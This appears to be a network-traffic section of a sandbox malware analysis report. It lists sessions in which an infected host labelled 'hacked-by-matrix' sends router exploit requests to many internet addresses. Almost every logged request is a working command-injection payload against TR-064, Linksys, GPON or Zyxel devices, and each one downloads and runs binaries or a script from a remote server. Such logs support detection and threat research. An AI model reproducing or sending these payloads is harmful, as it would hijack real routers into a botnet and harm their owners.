Mar 21, 2024 05:26:20.986928940 CET	734	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Mar 21, 2024 05:26:22.476891994 CET	734	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Mar 21, 2024 05:26:22.768537045 CET	97	IN	HTTP/1.1 401 Unauthorized Date: Thu, 21 Mar 2024 04:26:22 GMT Content-length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
943	192.168.2.23	56610	139.162.84.202	8080

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:26:20.987862110 CET	442	OUT	POST /tmUnblock.cgi HTTP/1.1 Host: 127.0.0.1:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 74 74 63 70 5f 69 70 3d 2d 68 2b 25 36 30 63 64 2b 25 32 46 74 6d 70 25 33 42 2b 72 6d 2b 2d 72 66 2b 41 6d 61 6b 61 6e 6f 2e 6d 70 73 6c 25 33 42 2b 77 67 65 74 2b 68 74 74 70 25 33 41 25 32 46 25 32 46 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 25 32 46 6d 70 73 6c 25 33 42 2b 63 68 6d 6f 64 2b 37 37 37 2b 6d 70 73 6c 25 33 42 2b 2e 25 32 46 6d 70 73 6c 2b 6c 69 6e 6b 73 79 73 25 36 30 26 61 63 74 69 6f 6e 3d 26 74 74 63 70 5f 6e 75 6d 3d 32 26 74 74 63 70 5f 73 69 7a 65 3d 32 26 73 75 62 6d 69 74 5f 62 75 74 74 6f 6e 3d 26 63 68 61 6e 67 65 5f 61 63 74 69 6f 6e 3d 26 63 6f 6d 6d 69 74 3d 30 26 53 74 61 72 74 45 50 49 3d 31 Data Ascii: ttcp_ip=-h+%60cd+%2Ftmp%3B+rm+-rf+Amakano.mpsl%3B+wget+http%3A%2F%2F109.205.214.35%2Fmpsl%3B+chmod+777+mpsl%3B+.%2Fmpsl+linksys%60&action=&ttcp_num=2&ttcp_size=2&submit_button=&change_action=&commit=0&StartEPI=1
Mar 21, 2024 05:26:22.476901054 CET	442	OUT	POST /tmUnblock.cgi HTTP/1.1 Host: 127.0.0.1:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 74 74 63 70 5f 69 70 3d 2d 68 2b 25 36 30 63 64 2b 25 32 46 74 6d 70 25 33 42 2b 72 6d 2b 2d 72 66 2b 41 6d 61 6b 61 6e 6f 2e 6d 70 73 6c 25 33 42 2b 77 67 65 74 2b 68 74 74 70 25 33 41 25 32 46 25 32 46 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 25 32 46 6d 70 73 6c 25 33 42 2b 63 68 6d 6f 64 2b 37 37 37 2b 6d 70 73 6c 25 33 42 2b 2e 25 32 46 6d 70 73 6c 2b 6c 69 6e 6b 73 79 73 25 36 30 26 61 63 74 69 6f 6e 3d 26 74 74 63 70 5f 6e 75 6d 3d 32 26 74 74 63 70 5f 73 69 7a 65 3d 32 26 73 75 62 6d 69 74 5f 62 75 74 74 6f 6e 3d 26 63 68 61 6e 67 65 5f 61 63 74 69 6f 6e 3d 26 63 6f 6d 6d 69 74 3d 30 26 53 74 61 72 74 45 50 49 3d 31 Data Ascii: ttcp_ip=-h+%60cd+%2Ftmp%3B+rm+-rf+Amakano.mpsl%3B+wget+http%3A%2F%2F109.205.214.35%2Fmpsl%3B+chmod+777+mpsl%3B+.%2Fmpsl+linksys%60&action=&ttcp_num=2&ttcp_size=2&submit_button=&change_action=&commit=0&StartEPI=1
Mar 21, 2024 05:26:22.759632111 CET	158	IN	HTTP/1.1 404 Not Found Content-Type: text/plain Date: Thu, 21 Mar 2024 04:26:22 GMT Content-Length: 18 Connection: close Data Raw: 34 30 34 20 70 61 67 65 20 6e 6f 74 20 66 6f 75 6e 64 Data Ascii: 404 page not found

Session ID	Source IP	Source Port	Destination IP	Destination Port
944	192.168.2.23	48060	201.213.18.150	7547

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:26:21.967421055 CET	734	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Mar 21, 2024 05:26:23.277723074 CET	734	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
945	192.168.2.23	48704	2.207.122.72	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:26:22.239793062 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
946	192.168.2.23	50552	212.141.68.203	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:26:22.239831924 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
947	192.168.2.23	50472	42.214.223.151	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:26:22.239841938 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
948	192.168.2.23	49308	109.39.229.79	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:26:22.239867926 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
949	192.168.2.23	42446	2.185.87.155	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:26:22.239867926 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
950	192.168.2.23	36640	94.76.206.221	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:26:22.239911079 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
951	192.168.2.23	54550	2.62.20.142	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:26:22.239924908 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
952	192.168.2.23	37398	212.83.66.96	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:26:22.239957094 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
953	192.168.2.23	34242	212.73.65.15	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:26:22.239957094 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
954	192.168.2.23	37434	42.249.38.245	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:26:22.240019083 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
955	192.168.2.23	45262	61.76.54.192	7547

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:26:22.278794050 CET	734	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
956	192.168.2.23	46334	14.67.209.80	7547

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:26:22.280916929 CET	734	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Mar 21, 2024 05:26:23.727478981 CET	734	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Mar 21, 2024 05:26:24.012015104 CET	97	IN	HTTP/1.1 401 Unauthorized Date: Thu, 21 Mar 2024 04:26:23 GMT Content-length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
957	192.168.2.23	53790	121.133.255.176	7547

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:26:22.284277916 CET	734	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Mar 21, 2024 05:26:22.659490108 CET	734	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
958	192.168.2.23	47600	206.241.0.70	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:26:22.438227892 CET	423	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 127.0.0.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix Content-Length: 176 Content-Type: application/x-www-form-urlencoded Data Raw: 20 72 65 6d 6f 74 65 5f 73 75 62 6d 69 74 5f 46 6c 61 67 3d 31 26 72 65 6d 6f 74 65 5f 73 79 73 6c 6f 67 5f 46 6c 61 67 3d 31 26 52 65 6d 6f 74 65 53 79 73 6c 6f 67 53 75 70 70 6f 72 74 65 64 3d 31 26 4c 6f 67 46 6c 61 67 3d 30 26 72 65 6d 6f 74 65 5f 68 6f 73 74 3d 25 33 62 63 64 2b 2f 74 6d 70 3b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 61 72 6d 37 3b 63 68 6d 6f 64 2b 37 37 37 2b 61 72 6d 37 3b 2e 2f 61 72 6d 37 20 7a 79 78 65 6c 3b 72 6d 2b 2d 72 66 2b 61 72 6d 37 25 33 62 25 32 33 26 72 65 6d 6f 74 65 53 75 62 6d 69 74 3d 53 61 76 65 0d 0a 0d 0a Data Ascii: remote_submit_Flag=1&remote_syslog_Flag=1&RemoteSyslogSupported=1&LogFlag=0&remote_host=%3bcd+/tmp;wget+http://109.205.214.35/arm7;chmod+777+arm7;./arm7 zyxel;rm+-rf+arm7%3b%23&remoteSubmit=Save

Session ID	Source IP	Source Port	Destination IP	Destination Port
959	192.168.2.23	45300	61.76.54.192	7547

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:26:22.555979967 CET	734	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
960	192.168.2.23	60108	174.112.142.104	7547

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:26:23.108643055 CET	734	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Mar 21, 2024 05:26:23.487044096 CET	734	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
